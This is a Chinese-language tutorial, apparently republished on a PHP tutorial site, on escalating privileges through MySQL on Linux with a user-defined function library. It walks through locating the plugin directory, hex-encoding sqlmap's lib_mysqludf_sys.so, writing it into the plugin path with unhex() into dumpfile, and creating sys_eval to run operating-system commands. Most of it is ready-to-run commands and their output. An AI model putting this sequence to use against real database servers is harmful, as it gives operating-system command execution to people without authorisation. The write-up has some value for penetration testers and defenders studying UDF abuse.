Rumah > pangkalan data > tutorial mysql > Linux利用UDF库实现Mysql提权_MySQL

Linux利用UDF库实现Mysql提权_MySQL

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
Lepaskan: 2016-05-31 08:49:08
asal
1316 orang telah melayarinya

环境:
os:linux(bt5)
 
database:mysql
 
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
 
要求:
 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
 
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径

mysql> show variables like "%plugin%";+---------------+-----------------------+| Variable_name | Value         |+---------------+-----------------------+| plugin_dir  | /usr/lib/mysql/plugin |+---------------+-----------------------+1 row in set (0.00 sec)
Salin selepas log masuk

2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位

root@bt:~# uname -aLinux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
Salin selepas log masuk


对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可

root@bt:/pentest/database/sqlmap/udf/mysql# lslinux windowsroot@bt:/pentest/database/sqlmap/udf/mysql/linux# ls32 64root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# lslib_mysqludf_sys.so
Salin selepas log masuk

3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过

mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';Query OK, 1 row affected (0.04 sec)
Salin selepas log masuk


因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限

root@bt:~# chmod 777 /usr/lib/mysql/plugin

数据库中写入udf库到mysql库目录:

mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';Query OK, 1 row affected (0.04 sec)
Salin selepas log masuk


查看下这个udf库所支持的函数

root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so         w _Jv_RegisterClasses0000000000201788 A __bss_start         w __cxa_finalize         w __gmon_start__0000000000201788 A _edata0000000000201798 A _end0000000000001178 T _fini0000000000000ba0 T _init         U fgets         U fork         U free         U getenv000000000000101a T lib_mysqludf_sys_info0000000000000da4 T lib_mysqludf_sys_info_deinit0000000000001047 T lib_mysqludf_sys_info_init         U malloc         U mmap         U pclose         U popen         U realloc         U setenv         U strcpy         U strncpy0000000000000dac T sys_bineval0000000000000dab T sys_bineval_deinit0000000000000da8 T sys_bineval_init0000000000000e46 T sys_eval0000000000000da7 T sys_eval_deinit0000000000000f2e T sys_eval_init0000000000001066 T sys_exec0000000000000da6 T sys_exec_deinit0000000000000f57 T sys_exec_init00000000000010f7 T sys_get0000000000000da5 T sys_get_deinit0000000000000fea T sys_get_init000000000000107a T sys_set00000000000010e8 T sys_set_deinit0000000000000f80 T sys_set_init         U sysconf         U system         U waitpid
Salin selepas log masuk

最后,加载函数并执行:

mysql> create function sys_eval returns string soname "mysqludf.so";Query OK, 0 rows affected (0.14 sec) mysql> select sys_eval('whoami');+--------------------+| sys_eval('whoami') |+--------------------+| mysql       |+--------------------+1 row in set (0.04 sec) mysql> select * from mysql.func;+----------+-----+-------------+----------+| name   | ret | dl     | type   |+----------+-----+-------------+----------+| sys_eval |  0 | mysqludf.so | function |+----------+-----+-------------+----------+1 row in set
Salin selepas log masuk

Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan